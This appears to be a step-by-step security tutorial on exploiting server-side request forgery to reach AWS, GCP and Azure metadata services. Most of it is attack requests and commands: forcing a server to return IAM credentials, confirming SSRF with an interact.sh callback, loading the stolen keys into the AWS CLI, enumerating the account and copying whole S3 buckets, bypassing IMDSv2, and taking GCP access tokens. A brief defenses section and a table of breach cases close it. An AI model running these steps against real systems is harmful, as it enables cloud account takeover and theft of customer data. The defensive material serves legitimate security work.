SSRF to Cloud Metadata: From Vulnerability to AWS Key Exfiltration
Preface
SSRF (Server-Side Request Forgery) transformed from an "interesting" vulnerability into a critical one with the mass migration of infrastructure to the cloud. AWS, GCP, and Azure have metadata services — internal HTTP endpoints accessible only from EC2/VM instances. They return IAM credentials, SSH keys, configs — everything needed for an account takeover.
This is exactly how the Capital One breach in 2019 compromised data for 100 million customers — via SSRF → AWS metadata → IAM role credentials.
How It Works
1. SSRF vulnerability found on app.target.com
2. Server is running on AWS EC2
3. Inside EC2, http://169.254.169.254/ is accessible (link-local)
4. Attacker forces the server to make a request to the metadata service
5. Receives IAM role credentials (AccessKeyId, SecretAccessKey, Token)
6. Uses credentials to access all AWS resources
Step 1: Finding SSRF
# Look for parameters that accept a URL
GET /api/fetch?url=https://example.com HTTP/1.1
POST /webhook HTTP/1.1
{"callback_url": "https://example.com/notify"}
# Look for URL parameters in:
# - Image/document loading
# - Webhook settings
# - PDF/screenshot generators
# - URL preview
# - Import from URL features
Confirm with DNS callback:
GET /api/fetch?url=http://UNIQUE.interact.sh/ HTTP/1.1
# If a DNS request arrives — SSRF is present
Step 2: Identify the Cloud Environment
# AWS EC2
http://169.254.169.254/
# If it responds — it's AWS. Continue with:
http://169.254.169.254/latest/meta-data/
# GCP (Google Cloud)
http://metadata.google.internal/
http://169.254.169.254/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance
Step 3: Retrieve AWS IAM Credentials
# List available metadata
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
# Response:
ami-id
hostname
iam/
instance-id
instance-type
local-ipv4
...
# Find the IAM role
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: role name
WebAppRole
# Get credentials
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole
Response:
{
"Code": "Success",
"LastUpdated": "2024-01-15T10:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2024-01-15T16:00:00Z"
}
Step 4: Using the Credentials
# Configure AWS CLI
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEA...
# Check who we are
aws sts get-caller-identity
# Response: AccountId, Arn (role name)
# Recon
aws s3 ls # list buckets
aws ec2 describe-instances # all EC2 instances
aws iam list-roles # list roles
aws secretsmanager list-secrets # secrets
# Download everything from S3
aws s3 cp s3://target-prod-data/ ./data/ --recursive
# If iam:PassRole or ec2:RunInstances permissions exist:
# Can launch a new EC2 with an admin role and take over the account
Step 5: IMDSv2 and Bypasses
AWS introduced IMDSv2 (Instance Metadata Service v2) — SSRF protection via a mandatory PUT request with a session token before any GET.
# IMDSv2 protection
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Response: TOKEN
curl -H "X-aws-ec2-metadata-token: TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
IMDSv2 bypass via SSRF (if the app supports headers):
POST /api/proxy HTTP/1.1
{
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
Some SSRF vectors (curl, wget in backend) can make PUT requests if the app forwards method or headers.
GCP Metadata Service
# GCP requires a header
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/"
# Get service account token
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Response:
{"access_token": "ya29.XXXX", "token_type": "Bearer", "expires_in": 3599}
# Use it
curl -H "Authorization: Bearer ya29.XXXX" "https://storage.googleapis.com/storage/v1/b" # list buckets
Defenses
# 1. Whitelist of allowed URLs/domains
ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("URL not allowed")
# 2. Block internal addresses
import ipaddress, socket
def is_safe_url(url):
hostname = urlparse(url).hostname
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except:
return False
return True
# 3. Enable IMDSv2 on AWS EC2 (hop limit = 1)
# aws ec2 modify-instance-metadata-options # --instance-id i-xxxx # --http-tokens required # --http-put-response-hop-limit 1
# 4. Run fetch in an isolated sandbox without access to internal network
Real-World Cases
| Company | Year | Impact |
|---|---|---|
| Capital One | 2019 | 100M customer records, IAM role abuse |
| Shopify | 2020 | Internal metadata access (bug bounty $25K) |
| Twitch | 2019 | SSRF to internal AWS services |
| GitLab | 2021 | SSRF → Redis → RCE (CVE-2021-22214) |